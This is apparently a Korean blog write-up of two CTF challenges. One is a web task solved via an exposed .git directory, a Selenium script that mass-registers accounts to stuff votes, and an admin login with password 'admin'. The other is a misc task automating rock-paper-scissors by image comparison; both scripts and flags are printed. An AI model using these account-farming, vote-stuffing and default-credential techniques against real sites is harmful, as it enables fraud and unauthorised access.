web :: watermelon
robots.txt를 보면 Disallow로 /.git가 있다. 이 파일을 통째로 받아서 git으로 열어보면 모든 파일들이 전부 삭제된 commit을 볼 수 있다. (다만 플래그와 recaptcha secret key는 존재하지 않는다)
flag.php를 보면, 자기가 업로드한 트랙 중 좋아요가 1225개를 넘어가는 게 있으면 플래그를 보여준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<?php
require_once __DIR__ . '/api/userAPI.php';
require_once __DIR__ . '/api/musicAPI.php';
require_once __DIR__ . '/api/voteAPI.php';
$flag = "XMAS{******}";
if ($login) {
$music = getMusicChartByUser_no((int)$user['user_no'], 0, 100);
for ($i = 0; $i < count($music); $i++) {
if ($music[$i]['vote'] > 1225) {
die($flag);
}
}
}
|
처음에는 Selenium으로 like bot를 만들어서 좋아요를 채워가고 있었는데.. 만약 이미 좋아요가 1225개 넘어가는 트랙을 올린 사람의 계정으로 로그인 할 수 있다면 어떨까? 라는 생각이 들었다.
풀이 당시에는 admin 계정이 좋아요 1250개 쯤 받은 게 있어서 패스워드로 admin을 넘겼더니 바로 플래그를 땄다. WTF
아래는 내 exploit 코드..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import time
URL = 'http://ch4n3.me:8080/xmas/'
driver = webdriver.Chrome()
begin = 356
for idx in range(begin, begin+100) :
try :
driver.get(URL+'?p=signup')
e = driver.find_element_by_name('id')
e.send_keys('easy%d'%idx)
e = driver.find_element_by_name('nickname')
e.send_keys('easy%d'%idx)
time.sleep(0.5)
e.submit()
alert = driver.switch_to_alert()
assert 'success' in alert.text
alert.accept()
driver.get(URL+'?p=signin')
e = driver.find_element_by_name('id')
e.send_keys('easy%d'%idx)
e.submit()
alert = driver.switch_to_alert()
alert.accept()
driver.get(URL+'?p=list')
e = driver.find_element_by_xpath('//a[@href="javascript:vote(82);"]')
e.click()
time.sleep(0.5)
alert = driver.switch_to_alert()
alert.accept()
driver.get(URL+'?p=signout')
print('[Info] %d vote done.'%idx)
except :
print('[Error] Error occured.')
|
Flag: XMAS{Last Christmas~ I gave you my heart~ <3}
misc :: Strange Elephant
가위바위보 자동화. PNG 끝에 20Byte의 랜덤 바이트가 들어가는 듯 하므로 파일 비교할 때 마지막 20바이트를 빼 줘야 한다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import requests
import filecmp
URL = 'http://115.68.235.72:12372/'
LIST = ['가위', '바위', '보']
r = requests.get(URL)
cookies = r.cookies.get_dict()
session = cookies['PHPSESSID']
for i in range(100) :
r = requests.get(URL, cookies=cookies)
if '이겨'.encode('utf-8') in r.content : diff = 1
if '져'.encode('utf-8') in r.content : diff = -1
if '비겨'.encode('utf-8') in r.content : diff = 0
r = requests.get(URL+'image.php', cookies=cookies)
f = open('image.png', 'wb+')
f.write(r.content[:-20])
f.close()
if filecmp.cmp('image.png', 'j.png') : op = 0
elif filecmp.cmp('image.png', 'm.png') : op = 1
elif filecmp.cmp('image.png', 'b.png') : op = 2
else : raise Exception('Unknown result')
print('[Info] Round {0}: Opponent={1}, Me={2}'.format(i+1, LIST[op], LIST[(op+diff)%3]))
r = requests.post(URL, cookies=cookies, data={'answer':LIST[(op+diff)%3]})
r = requests.get(URL, cookies=cookies)
print(r.content)
|
Flag: XMAS{k0ggiri_ahjeossi_neun_k0ga_son_irae}
'CTF > CTF Playground' 카테고리의 다른 글
Rice Tea Cat Panda #cat-chat (0) | 2020.01.24 |
---|---|
Rice Tea Cat Panda (0) | 2020.01.22 |
Kipod After Free CTF 2019 (0) | 2019.12.22 |
TUCTF 2019 (0) | 2019.12.01 |
HCTF 2019 Beginner Section (0) | 2019.11.17 |